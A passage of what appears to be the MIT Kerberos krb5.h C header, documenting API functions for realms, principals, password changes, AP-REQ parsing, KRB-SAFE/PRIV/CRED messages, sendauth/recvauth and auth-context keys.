otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_os_localaddr(krb5_context context, krb5_address ***addr); /** * Retrieve the default realm. * * @param [in] context Library context * @param [out] lrealm Default realm name * * Retrieves the default realm to be used if no user-specified realm is * available. * * Use krb5_free_default_realm() to free @a lrealm when it is no longer needed. * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_get_default_realm(krb5_context context, char **lrealm); /** * Override the default realm for the specified context. * * @param [in] context Library context * @param [in] lrealm Realm name for the default realm * * If @a lrealm is NULL, clear the default realm setting. * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_set_default_realm(krb5_context context, const char *lrealm); /** * Free a default realm string returned by krb5_get_default_realm(). * * @param [in] context Library context * @param [in] lrealm Realm to be freed */ void KRB5_CALLCONV krb5_free_default_realm(krb5_context context, char *lrealm); /** * Canonicalize a hostname, possibly using name service. * * @param [in] context Library context * @param [in] host Input hostname * @param [out] canonhost_out Canonicalized hostname * * This function canonicalizes orig_hostname, possibly using name service * lookups if configuration permits. Use krb5_free_string() to free @a * canonhost_out when it is no longer needed. * * @version New in 1.15 */ krb5_error_code KRB5_CALLCONV krb5_expand_hostname(krb5_context context, const char *host, char **canonhost_out); /** * Generate a full principal name from a service name. * * @param [in] context Library context * @param [in] hostname Host name, or NULL to use local host * @param [in] sname Service name, or NULL to use @c "host" * @param [in] type Principal type * @param [out] ret_princ Generated principal * * This function converts a @a hostname and @a sname into @a krb5_principal * structure @a ret_princ. The returned principal will be of the form @a * sname\/hostname\@REALM where REALM is determined by krb5_get_host_realm(). * In some cases this may be the referral (empty) realm. * * The @a type can be one of the following: * * @li #KRB5_NT_SRV_HST canonicalizes the host name before looking up the * realm and generating the principal. * * @li #KRB5_NT_UNKNOWN accepts the hostname as given, and does not * canonicalize it. * * Use krb5_free_principal to free @a ret_princ when it is no longer needed. * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_sname_to_principal(krb5_context context, const char *hostname, const char *sname, krb5_int32 type, krb5_principal *ret_princ); /** * Test whether a principal matches a matching principal. * * @param [in] context Library context * @param [in] matching Matching principal * @param [in] princ Principal to test * * @note A matching principal is a host-based principal with an empty realm * and/or second data component (hostname). Profile configuration may cause * the hostname to be ignored even if it is present. A principal matches a * matching principal if the former has the same non-empty (and non-ignored) * components of the latter. * * If @a matching is NULL, return TRUE. If @a matching is not a matching * principal, return the value of krb5_principal_compare(context, matching, * princ). * * @return * TRUE if @a princ matches @a matching, FALSE otherwise. */ krb5_boolean KRB5_CALLCONV krb5_sname_match(krb5_context context, krb5_const_principal matching, krb5_const_principal princ); /** * Change a password for an existing Kerberos account. * * @param [in] context Library context * @param [in] creds Credentials for kadmin/changepw service * @param [in] newpw New password * @param [out] result_code Numeric error code from server * @param [out] result_code_string String equivalent to @a result_code * @param [out] result_string Change password response from the KDC * * Change the password for the existing principal identified by @a creds. * * The possible values of the output @a result_code are: * * @li #KRB5_KPASSWD_SUCCESS (0) - success * @li #KRB5_KPASSWD_MALFORMED (1) - Malformed request error * @li #KRB5_KPASSWD_HARDERROR (2) - Server error * @li #KRB5_KPASSWD_AUTHERROR (3) - Authentication error * @li #KRB5_KPASSWD_SOFTERROR (4) - Password change rejected * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_change_password(krb5_context context, krb5_creds *creds, const char *newpw, int *result_code, krb5_data *result_code_string, krb5_data *result_string); /** * Set a password for a principal using specified credentials. * * @param [in] context Library context * @param [in] creds Credentials for kadmin/changepw service * @param [in] newpw New password * @param [in] change_password_for Change the password for this principal * @param [out] result_code Numeric error code from server * @param [out] result_code_string String equivalent to @a result_code * @param [out] result_string Data returned from the remote system * * This function uses the credentials @a creds to set the password @a newpw for * the principal @a change_password_for. It implements the set password * operation of RFC 3244, for interoperability with Microsoft Windows * implementations. * * @note If @a change_password_for is NULL, the change is performed on the * current principal. If @a change_password_for is non-null, the change is * performed on the principal name passed in @a change_password_for. * * The error code and strings are returned in @a result_code, * @a result_code_string and @a result_string. * * @sa krb5_set_password_using_ccache() * * @retval * 0 Success and result_code is set to #KRB5_KPASSWD_SUCCESS. * @return * Kerberos error codes. */ krb5_error_code KRB5_CALLCONV krb5_set_password(krb5_context context, krb5_creds *creds, const char *newpw, krb5_principal change_password_for, int *result_code, krb5_data *result_code_string, krb5_data *result_string); /** * Set a password for a principal using cached credentials. * * @param [in] context Library context * @param [in] ccache Credential cache * @param [in] newpw New password * @param [in] change_password_for Change the password for this principal * @param [out] result_code Numeric error code from server * @param [out] result_code_string String equivalent to @a result_code * @param [out] result_string Data returned from the remote system * * This function uses the cached credentials from @a ccache to set the password * @a newpw for the principal @a change_password_for. It implements RFC 3244 * set password operation (interoperable with MS Windows implementations) using * the credential cache. * * The error code and strings are returned in @a result_code, * @a result_code_string and @a result_string. * * @note If @a change_password_for is set to NULL, the change is performed on * the default principal in @a ccache. If @a change_password_for is non null, * the change is performed on the specified principal. * * @sa krb5_set_password() * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_set_password_using_ccache(krb5_context context, krb5_ccache ccache, const char *newpw, krb5_principal change_password_for, int *result_code, krb5_data *result_code_string, krb5_data *result_string); /** * Get a result message for changing or setting a password. * * @param [in] context Library context * @param [in] server_string Data returned from the remote system * @param [out] message_out A message displayable to the user * * This function processes the @a server_string returned in the @a * result_string parameter of krb5_change_password(), krb5_set_password(), and * related functions, and returns a displayable string. If @a server_string * contains Active Directory structured policy information, it will be * converted into human-readable text. * * Use krb5_free_string() to free @a message_out when it is no longer needed. * * @retval * 0 Success * @return * Kerberos error codes * * @version New in 1.11 */ krb5_error_code KRB5_CALLCONV krb5_chpw_message(krb5_context context, const krb5_data *server_string, char **message_out); /** * Retrieve configuration profile from the context. * * @param [in] context Library context * @param [out] profile Pointer to data read from a configuration file * * This function creates a new @a profile object that reflects profile * in the supplied @a context. * * The @a profile object may be freed with profile_release() function. * See profile.h and profile API for more details. * * @retval * 0 Success * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_get_profile(krb5_context context, struct _profile_t ** profile); #if KRB5_DEPRECATED /** @deprecated Replaced by krb5_get_init_creds_password().*/ KRB5_ATTR_DEPRECATED krb5_error_code KRB5_CALLCONV krb5_get_in_tkt_with_password(krb5_context context, krb5_flags options, krb5_address *const *addrs, krb5_enctype *ktypes, krb5_preauthtype *pre_auth_types, const char *password, krb5_ccache ccache, krb5_creds *creds, krb5_kdc_rep **ret_as_reply); /** @deprecated Replaced by krb5_get_init_creds(). */ KRB5_ATTR_DEPRECATED krb5_error_code KRB5_CALLCONV krb5_get_in_tkt_with_skey(krb5_context context, krb5_flags options, krb5_address *const *addrs, krb5_enctype *ktypes, krb5_preauthtype *pre_auth_types, const krb5_keyblock *key, krb5_ccache ccache, krb5_creds *creds, krb5_kdc_rep **ret_as_reply); /** @deprecated Replaced by krb5_get_init_creds_keytab(). */ KRB5_ATTR_DEPRECATED krb5_error_code KRB5_CALLCONV krb5_get_in_tkt_with_keytab(krb5_context context, krb5_flags options, krb5_address *const *addrs, krb5_enctype *ktypes, krb5_preauthtype *pre_auth_types, krb5_keytab arg_keytab, krb5_ccache ccache, krb5_creds *creds, krb5_kdc_rep **ret_as_reply); #endif /* KRB5_DEPRECATED */ /** * Parse and decrypt a @c KRB_AP_REQ message. * * @param [in] context Library context * @param [in,out] auth_context Pre-existing or newly created auth context * @param [in] inbuf AP-REQ message to be parsed * @param [in] server Matching principal for server, or NULL to * allow any principal in keytab * @param [in] keytab Key table, or NULL to use the default * @param [out] ap_req_options If non-null, the AP-REQ flags on output * @param [out] ticket If non-null, ticket from the AP-REQ message * * This function parses, decrypts and verifies a AP-REQ message from @a inbuf * and stores the authenticator in @a auth_context. * * If a keyblock was specified in @a auth_context using * krb5_auth_con_setuseruserkey(), that key is used to decrypt the ticket in * AP-REQ message and @a keytab is ignored. In this case, @a server should be * specified as a complete principal name to allow for proper transited-path * checking and replay cache selection. * * Otherwise, the decryption key is obtained from @a keytab, or from the * default keytab if it is NULL. In this case, @a server may be a complete * principal name, a matching principal (see krb5_sname_match()), or NULL to * match any principal name. The keys tried against the encrypted part of the * ticket are determined as follows: * * - If @a server is a complete principal name, then its entry in @a keytab is * tried. * - Otherwise, if @a keytab is iterable, then all entries in @a keytab which * match @a server are tried. * - Otherwise, the server principal in the ticket must match @a server, and * its entry in @a keytab is tried. * * The client specified in the decrypted authenticator must match the client * specified in the decrypted ticket. * * If the @a remote_addr field of @a auth_context is set, the request must come * from that address. * * If a replay cache handle is provided in the @a auth_context, the * authenticator and ticket are verified against it. If no conflict is found, * the new authenticator is then stored in the replay cache of @a auth_context. * * Various other checks are performed on the decoded data, including * cross-realm policy, clockskew, and ticket validation times. * * On success the authenticator, subkey, and remote sequence number of the * request are stored in @a auth_context. If the #AP_OPTS_MUTUAL_REQUIRED * bit is set, the local sequence number is XORed with the remote sequence * number in the request. * * Use krb5_free_ticket() to free @a ticket when it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_rd_req(krb5_context context, krb5_auth_context *auth_context, const krb5_data *inbuf, krb5_const_principal server, krb5_keytab keytab, krb5_flags *ap_req_options, krb5_ticket **ticket); /** * Retrieve a service key from a key table. * * @param [in] context Library context * @param [in] keyprocarg Name of a key table (NULL to use default name) * @param [in] principal Service principal * @param [in] vno Key version number (0 for highest available) * @param [in] enctype Encryption type (0 for any type) * @param [out] key Service key from key table * * Open and search the specified key table for the entry identified by @a * principal, @a enctype, and @a vno. If no key is found, return an error code. * * The default key table is used, unless @a keyprocarg is non-null. * @a keyprocarg designates a specific key table. * * Use krb5_free_keyblock() to free @a key when it is no longer needed. * * @retval * 0 Success * @return Kerberos error code if not found or @a keyprocarg is invalid. */ krb5_error_code KRB5_CALLCONV krb5_kt_read_service_key(krb5_context context, krb5_pointer keyprocarg, krb5_principal principal, krb5_kvno vno, krb5_enctype enctype, krb5_keyblock **key); /** * Format a @c KRB-SAFE message. * * @param [in] context Library context * @param [in] auth_context Authentication context * @param [in] userdata User data in the message * @param [out] der_out Formatted @c KRB-SAFE buffer * @param [out] rdata_out Replay data. Specify NULL if not needed * * This function creates an integrity protected @c KRB-SAFE message * using data supplied by the application. * * Fields in @a auth_context specify the checksum type, the keyblock that * can be used to seed the checksum, full addresses (host and port) for * the sender and receiver, and @ref KRB5_AUTH_CONTEXT flags. * * The local address in @a auth_context must be set, and is used to form the * sender address used in the KRB-SAFE message. The remote address is * optional; if specified, it will be used to form the receiver address used in * the message. * * @note The @a rdata_out argument is required if the * #KRB5_AUTH_CONTEXT_RET_TIME or #KRB5_AUTH_CONTEXT_RET_SEQUENCE flag is set * in @a auth_context. * * If the #KRB5_AUTH_CONTEXT_DO_TIME flag is set in @a auth_context, a * timestamp is included in the KRB-SAFE message, and an entry for the message * is entered in an in-memory replay cache to detect if the message is * reflected by an attacker. If #KRB5_AUTH_CONTEXT_DO_TIME is not set, no * replay cache is used. If #KRB5_AUTH_CONTEXT_RET_TIME is set in @a * auth_context, a timestamp is included in the KRB-SAFE message and is stored * in @a rdata_out. * * If either #KRB5_AUTH_CONTEXT_DO_SEQUENCE or #KRB5_AUTH_CONTEXT_RET_SEQUENCE * is set, the @a auth_context local sequence number is included in the * KRB-SAFE message and then incremented. If #KRB5_AUTH_CONTEXT_RET_SEQUENCE * is set, the sequence number used is stored in @a rdata_out. * * Use krb5_free_data_contents() to free @a der_out when it is no longer * needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_mk_safe(krb5_context context, krb5_auth_context auth_context, const krb5_data *userdata, krb5_data *der_out, krb5_replay_data *rdata_out); /** * Format a @c KRB-PRIV message. * * @param [in] context Library context * @param [in] auth_context Authentication context * @param [in] userdata User data for @c KRB-PRIV message * @param [out] der_out Formatted @c KRB-PRIV message * @param [out] rdata_out Replay data (NULL if not needed) * * This function is similar to krb5_mk_safe(), but the message is encrypted and * integrity-protected, not just integrity-protected. * * The local address in @a auth_context must be set, and is used to form the * sender address used in the KRB-PRIV message. The remote address is * optional; if specified, it will be used to form the receiver address used in * the message. * * @note The @a rdata_out argument is required if the * #KRB5_AUTH_CONTEXT_RET_TIME or #KRB5_AUTH_CONTEXT_RET_SEQUENCE flag is set * in @a auth_context. * * If the #KRB5_AUTH_CONTEXT_DO_TIME flag is set in @a auth_context, a * timestamp is included in the KRB-PRIV message, and an entry for the message * is entered in an in-memory replay cache to detect if the message is * reflected by an attacker. If #KRB5_AUTH_CONTEXT_DO_TIME is not set, no * replay cache is used. If #KRB5_AUTH_CONTEXT_RET_TIME is set in @a * auth_context, a timestamp is included in the KRB-PRIV message and is stored * in @a rdata_out. * * If either #KRB5_AUTH_CONTEXT_DO_SEQUENCE or #KRB5_AUTH_CONTEXT_RET_SEQUENCE * is set, the @a auth_context local sequence number is included in the * KRB-PRIV message and then incremented. If #KRB5_AUTH_CONTEXT_RET_SEQUENCE * is set, the sequence number used is stored in @a rdata_out. * * Use krb5_free_data_contents() to free @a der_out when it is no longer * needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_mk_priv(krb5_context context, krb5_auth_context auth_context, const krb5_data *userdata, krb5_data *der_out, krb5_replay_data *rdata_out); /** * Client function for @c sendauth protocol. * * @param [in] context Library context * @param [in,out] auth_context Pre-existing or newly created auth context * @param [in] fd File descriptor that describes network socket * @param [in] appl_version Application protocol version to be matched * with the receiver's application version * @param [in] client Client principal * @param [in] server Server principal * @param [in] ap_req_options @ref AP_OPTS options * @param [in] in_data Data to be sent to the server * @param [in] in_creds Input credentials, or NULL to use @a ccache * @param [in] ccache Credential cache * @param [out] error If non-null, contains KRB_ERROR message * returned from server * @param [out] rep_result If non-null and @a ap_req_options is * #AP_OPTS_MUTUAL_REQUIRED, contains the result * of mutual authentication exchange * @param [out] out_creds If non-null, the retrieved credentials * * This function performs the client side of a sendauth/recvauth exchange by * sending and receiving messages over @a fd. * * Credentials may be specified in three ways: * * @li If @a in_creds is NULL, credentials are obtained with * krb5_get_credentials() using the principals @a client and @a server. @a * server must be non-null; @a client may NULL to use the default principal of * @a ccache. * * @li If @a in_creds is non-null, but does not contain a ticket, credentials * for the exchange are obtained with krb5_get_credentials() using @a in_creds. * In this case, the values of @a client and @a server are unused. * * @li If @a in_creds is a complete credentials structure, it used directly. * In this case, the values of @a client, @a server, and @a ccache are unused. * * If the server is using a different application protocol than that specified * in @a appl_version, an error will be returned. * * Use krb5_free_creds() to free @a out_creds, krb5_free_ap_rep_enc_part() to * free @a rep_result, and krb5_free_error() to free @a error when they are no * longer needed. * * @sa krb5_recvauth() * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_sendauth(krb5_context context, krb5_auth_context *auth_context, krb5_pointer fd, char *appl_version, krb5_principal client, krb5_principal server, krb5_flags ap_req_options, krb5_data *in_data, krb5_creds *in_creds, krb5_ccache ccache, krb5_error **error, krb5_ap_rep_enc_part **rep_result, krb5_creds **out_creds); /** * Server function for @a sendauth protocol. * * @param [in] context Library context * @param [in,out] auth_context Pre-existing or newly created auth context * @param [in] fd File descriptor * @param [in] appl_version Application protocol version to be matched * against the client's application version * @param [in] server Server principal (NULL for any in @a keytab) * @param [in] flags Additional specifications * @param [in] keytab Key table containing service keys * @param [out] ticket Ticket (NULL if not needed) * * This function performs the server side of a sendauth/recvauth exchange by * sending and receiving messages over @a fd. * * Use krb5_free_ticket() to free @a ticket when it is no longer needed. * * @sa krb5_sendauth() * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_recvauth(krb5_context context, krb5_auth_context *auth_context, krb5_pointer fd, char *appl_version, krb5_principal server, krb5_int32 flags, krb5_keytab keytab, krb5_ticket **ticket); /** * Server function for @a sendauth protocol with version parameter. * * @param [in] context Library context * @param [in,out] auth_context Pre-existing or newly created auth context * @param [in] fd File descriptor * @param [in] server Server principal (NULL for any in @a keytab) * @param [in] flags Additional specifications * @param [in] keytab Decryption key * @param [out] ticket Ticket (NULL if not needed) * @param [out] version sendauth protocol version (NULL if not needed) * * This function is similar to krb5_recvauth() with the additional output * information place into @a version. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_recvauth_version(krb5_context context, krb5_auth_context *auth_context, krb5_pointer fd, krb5_principal server, krb5_int32 flags, krb5_keytab keytab, krb5_ticket **ticket, krb5_data *version); /** * Format a @c KRB-CRED message for an array of credentials. * * @param [in] context Library context * @param [in] auth_context Authentication context * @param [in] creds Null-terminated array of credentials * @param [out] der_out Encoded credentials * @param [out] rdata_out Replay cache information (NULL if not needed) * * This function takes an array of credentials @a creds and formats * a @c KRB-CRED message @a der_out to pass to krb5_rd_cred(). * * The local and remote addresses in @a auth_context are optional; if either is * specified, they are used to form the sender and receiver addresses in the * KRB-CRED message. * * @note The @a rdata_out argument is required if the * #KRB5_AUTH_CONTEXT_RET_TIME or #KRB5_AUTH_CONTEXT_RET_SEQUENCE flag is set * in @a auth_context. * * If the #KRB5_AUTH_CONTEXT_DO_TIME flag is set in @a auth_context, an entry * for the message is entered in an in-memory replay cache to detect if the * message is reflected by an attacker. If #KRB5_AUTH_CONTEXT_DO_TIME is not * set, no replay cache is used. If #KRB5_AUTH_CONTEXT_RET_TIME is set in @a * auth_context, the timestamp used for the KRB-CRED message is stored in @a * rdata_out. * * If either #KRB5_AUTH_CONTEXT_DO_SEQUENCE or #KRB5_AUTH_CONTEXT_RET_SEQUENCE * is set, the @a auth_context local sequence number is included in the * KRB-CRED message and then incremented. If #KRB5_AUTH_CONTEXT_RET_SEQUENCE * is set, the sequence number used is stored in @a rdata_out. * * Use krb5_free_data_contents() to free @a der_out when it is no longer * needed. * * The message will be encrypted using the send subkey of @a auth_context if it * is present, or the session key otherwise. If neither key is present, the * credentials will not be encrypted, and the message should only be sent over * a secure channel. No replay cache entry is used in this case. * * @retval * 0 Success * @retval * ENOMEM Insufficient memory * @retval * KRB5_RC_REQUIRED Message replay detection requires @a rcache parameter * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_mk_ncred(krb5_context context, krb5_auth_context auth_context, krb5_creds **creds, krb5_data **der_out, krb5_replay_data *rdata_out); /** * Format a @c KRB-CRED message for a single set of credentials. * * @param [in] context Library context * @param [in] auth_context Authentication context * @param [in] creds Pointer to credentials * @param [out] der_out Encoded credentials * @param [out] rdata_out Replay cache data (NULL if not needed) * * This is a convenience function that calls krb5_mk_ncred() with a single set * of credentials. * * @retval * 0 Success * @retval * ENOMEM Insufficient memory * @retval * KRB5_RC_REQUIRED Message replay detection requires @a rcache parameter * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_mk_1cred(krb5_context context, krb5_auth_context auth_context, krb5_creds *creds, krb5_data **der_out, krb5_replay_data *rdata_out); /** * Read and validate a @c KRB-CRED message. * * @param [in] context Library context * @param [in] auth_context Authentication context * @param [in] creddata @c KRB-CRED message * @param [out] creds_out Null-terminated array of forwarded credentials * @param [out] rdata_out Replay data (NULL if not needed) * * @note The @a rdata_out argument is required if the * #KRB5_AUTH_CONTEXT_RET_TIME or #KRB5_AUTH_CONTEXT_RET_SEQUENCE flag is set * in @a auth_context.` * * @a creddata will be decrypted using the receiving subkey if it is present in * @a auth_context, or the session key if the receiving subkey is not present * or fails to decrypt the message. * * Use krb5_free_tgt_creds() to free @a creds_out when it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_rd_cred(krb5_context context, krb5_auth_context auth_context, krb5_data *creddata, krb5_creds ***creds_out, krb5_replay_data *rdata_out); /** * Get a forwarded TGT and format a @c KRB-CRED message. * * @param [in] context Library context * @param [in] auth_context Authentication context * @param [in] rhost Remote host * @param [in] client Client principal of TGT * @param [in] server Principal of server to receive TGT * @param [in] cc Credential cache handle (NULL to use default) * @param [in] forwardable Whether TGT should be forwardable * @param [out] outbuf KRB-CRED message * * Get a TGT for use at the remote host @a rhost and format it into a KRB-CRED * message. If @a rhost is NULL and @a server is of type #KRB5_NT_SRV_HST, * the second component of @a server will be used. * * @retval * 0 Success * @retval * ENOMEM Insufficient memory * @retval * KRB5_PRINC_NOMATCH Requested principal and ticket do not match * @retval * KRB5_NO_TKT_SUPPLIED Request did not supply a ticket * @retval * KRB5_CC_BADNAME Credential cache name or principal name malformed * @return * Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_fwd_tgt_creds(krb5_context context, krb5_auth_context auth_context, const char *rhost, krb5_principal client, krb5_principal server, krb5_ccache cc, int forwardable, krb5_data *outbuf); /** * Create and initialize an authentication context. * * @param [in] context Library context * @param [out] auth_context Authentication context * * This function creates an authentication context to hold configuration and * state relevant to krb5 functions for authenticating principals and * protecting messages once authentication has occurred. * * By default, flags for the context are set to enable the use of the replay * cache (#KRB5_AUTH_CONTEXT_DO_TIME), but not sequence numbers. Use * krb5_auth_con_setflags() to change the flags. * * The allocated @a auth_context must be freed with krb5_auth_con_free() when * it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_auth_con_init(krb5_context context, krb5_auth_context *auth_context); /** * Free a krb5_auth_context structure. * * @param [in] context Library context * @param [in] auth_context Authentication context to be freed * * This function frees an auth context allocated by krb5_auth_con_init(). * * @retval 0 (always) */ krb5_error_code KRB5_CALLCONV krb5_auth_con_free(krb5_context context, krb5_auth_context auth_context); /** * Set a flags field in a krb5_auth_context structure. * * @param [in] context Library context * @param [in] auth_context Authentication context * @param [in] flags Flags bit mask * * Valid values for @a flags are: * @li #KRB5_AUTH_CONTEXT_DO_TIME Use timestamps * @li #KRB5_AUTH_CONTEXT_RET_TIME Save timestamps * @li #KRB5_AUTH_CONTEXT_DO_SEQUENCE Use sequence numbers * @li #KRB5_AUTH_CONTEXT_RET_SEQUENCE Save sequence numbers * * @retval 0 (always) */ krb5_error_code KRB5_CALLCONV krb5_auth_con_setflags(krb5_context context, krb5_auth_context auth_context, krb5_int32 flags); /** * Retrieve flags from a krb5_auth_context structure. * * @param [in] context Library context * @param [in] auth_context Authentication context * @param [out] flags Flags bit mask * * Valid values for @a flags are: * @li #KRB5_AUTH_CONTEXT_DO_TIME Use timestamps * @li #KRB5_AUTH_CONTEXT_RET_TIME Save timestamps * @li #KRB5_AUTH_CONTEXT_DO_SEQUENCE Use sequence numbers * @li #KRB5_AUTH_CONTEXT_RET_SEQUENCE Save sequence numbers * * @retval 0 (always) */ krb5_error_code KRB5_CALLCONV krb5_auth_con_getflags(krb5_context context, krb5_auth_context auth_context, krb5_int32 *flags); /** * Set a checksum callback in an auth context. * * @param [in] context Library context * @param [in] auth_context Authentication context * @param [in] func Checksum callback * @param [in] data Callback argument * * Set a callback to obtain checksum data in krb5_mk_req(). The callback will * be invoked after the subkey and local sequence number are stored in @a * auth_context. * * @retval 0 (always) */ krb5_error_code KRB5_CALLCONV krb5_auth_con_set_checksum_func( krb5_context context, krb5_auth_context auth_context, krb5_mk_req_checksum_func func, void *data); /** * Get the checksum callback from an auth context. * * @param [in] context Library context * @param [in] auth_context Authentication context * @param [out] func Checksum callback * @param [out] data Callback argument * * @retval 0 (always) */ krb5_error_code KRB5_CALLCONV krb5_auth_con_get_checksum_func( krb5_context context, krb5_auth_context auth_context, krb5_mk_req_checksum_func *func, void **data); /** * Set the local and remote addresses in an auth context. * * @param [in] context Library context * @param [in] auth_context Authentication context * @param [in] local_addr Local address * @param [in] remote_addr Remote address * * This function releases the storage assigned to the contents of the local and * remote addresses of @a auth_context and then sets them to @a local_addr and * @a remote_addr respectively. * * @sa krb5_auth_con_genaddrs() * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV_WRONG krb5_auth_con_setaddrs(krb5_context context, krb5_auth_context auth_context, krb5_address *local_addr, krb5_address *remote_addr); /** * Retrieve address fields from an auth context. * * @param [in] context Library context * @param [in] auth_context Authentication context * @param [out] local_addr Local address (NULL if not needed) * @param [out] remote_addr Remote address (NULL if not needed) * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_auth_con_getaddrs(krb5_context context, krb5_auth_context auth_context, krb5_address **local_addr, krb5_address **remote_addr); /** * Set local and remote port fields in an auth context. * * @param [in] context Library context * @param [in] auth_context Authentication context * @param [in] local_port Local port * @param [in] remote_port Remote port * * This function releases the storage assigned to the contents of the local and * remote ports of @a auth_context and then sets them to @a local_port and @a * remote_port respectively. * * @sa krb5_auth_con_genaddrs() * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_auth_con_setports(krb5_context context, krb5_auth_context auth_context, krb5_address *local_port, krb5_address *remote_port); /** * Set the session key in an auth context. * * @param [in] context Library context * @param [in] auth_context Authentication context * @param [in] keyblock User key * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_auth_con_setuseruserkey(krb5_context context, krb5_auth_context auth_context, krb5_keyblock *keyblock); /** * Retrieve the session key from an auth context as a keyblock. * * @param [in] context Library context * @param [in] auth_context Authentication context * @param [out] keyblock Session key * * This function creates a keyblock containing the session key from @a * auth_context. Use krb5_free_keyblock() to free @a keyblock when it is no * longer needed * * @retval 0 Success. Otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_auth_con_getkey(krb5_context context, krb5_auth_context auth_context, krb5_keyblock **keyblock); /** * Retrieve the session key from an auth context. * * @param [in] context Library context * @param [in] auth_context Authentication context * @param [out] key Session key * * This function sets @a key to the session key from @a auth_context. Use * krb5_k_free_key() to release @a key when it is no longer needed. * * @retval 0 (always) */ krb5_error_code KRB5_CALLCONV krb5_auth_con_getkey_k(krb5_context context, krb5_auth_context auth_context, krb5_key *key); /** * Retrieve the send subkey from an auth context as a keyblock. * * @param [in] ctx Library context * @param [in] ac Authentication context * @param [out] keyblock Send subkey * * This function creates a keyblock containing the send subkey from @a * auth_context. Use krb5_free_keyblock() to free @a keyblock when it is no * longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_auth_con_getsendsubkey(krb5_context ctx, krb5_auth_context ac, krb5_keyblock **keyblock); /** * Retrieve the send subkey from an auth context. * * @param [in] ctx Library context * @param [in] ac Authentication context * @param [out] key Send subkey * * This function sets @a key to the send subkey from @a auth_context. Use * krb5_k_free_key() to release @a key when it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_auth_con_getsendsubkey_k(krb5_context ctx, krb5_auth_context ac, krb5_key *key); /** * Retrieve the receiving subkey from an auth context as a keyblock. * * @param [in] ctx Library context * @param [in] ac Authentication context * @param [out] keyblock Receiving subkey * * This function creates a keyblock containing the receiving subkey from @a * auth_context. Use krb5_free_keyblock() to free @a keyblock when it is no * longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_auth_con_getrecvsubkey(krb5_context ctx, krb5_auth_context ac, krb5_keyblock **keyblock); /** * Retrieve the receiving subkey from an auth context as a keyblock. * * @param [in] ctx Library context * @param [in] ac Authentication context * @param [out] key Receiving subkey * * This function sets @a key to the receiving subkey from @a auth_context. Use * krb5_k_free_key() to release @a key when it is no longer needed. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_auth_con_getrecvsubkey_k(krb5_context ctx, krb5_auth_context ac, krb5_key *key); /** * Set the send subkey in an auth context with a keyblock. * * @param [in] ctx Library context * @param [in] ac Authentication context * @param [in] keyblock Send subkey * * This function sets the send subkey in @a ac to a copy of @a keyblock. * * @retval 0 Success. Otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_auth_con_setsendsubkey(krb5_context ctx, krb5_auth_context ac, krb5_keyblock *keyblock); /** * Set the send subkey in an auth context. * * @param [in] ctx Library context * @param [in] ac Authentication context * @param [out] key Send subkey * * This function sets the send subkey in @a ac to @a key, incrementing its * reference count. * * @version New in 1.9 * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_auth_con_setsendsubkey_k(krb5_context ctx, krb5_auth_context ac, krb5_key key); /** * Set the receiving subkey in an auth context with a keyblock. * * @param [in] ctx Library context * @param [in] ac Authentication context * @param [in] keyblock Receiving subkey * * This function sets the receiving subkey in @a ac to a copy of @a keyblock. * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_auth_con_setrecvsubkey(krb5_context ctx, krb5_auth_context ac, krb5_keyblock *keyblock); /** * Set the receiving subkey in an auth context. * * @param [in] ctx Library context * @param [in] ac Authentication context * @param [in] key Receiving subkey * * This function sets the receiving subkey in @a ac to @a key, incrementing its * reference count. * * @version New in 1.9 * * @retval 0 Success; otherwise - Kerberos error codes */ krb5_error_code KRB5_CALLCONV krb5_auth_con_setrecvsubkey_k(krb5_context ctx, krb5_auth_context ac, krb5_key key); #if KRB5_DEPRECATED /** @deprecated Replaced by krb5_auth_con_getsendsubkey(). */ KRB5_ATTR_DEPRECATED krb5_error_code KRB5_CALLCONV krb5_auth_con_getlocalsubkey(krb5_context context, krb5_auth_context auth_context, krb5_keyblock **keyblock); /** @deprecated Replaced by krb5_auth_con_getrecvsubkey(). */ KRB5_ATTR_DEPRECATED krb5_error_code KRB5_CALLCONV krb5_auth_con_getremotesubkey(krb5_context context, krb5_auth_context auth_context, krb5_keyblock **keyblock); #endif /** * Retrieve the local sequence number from an auth context. * * @param [in] context Library 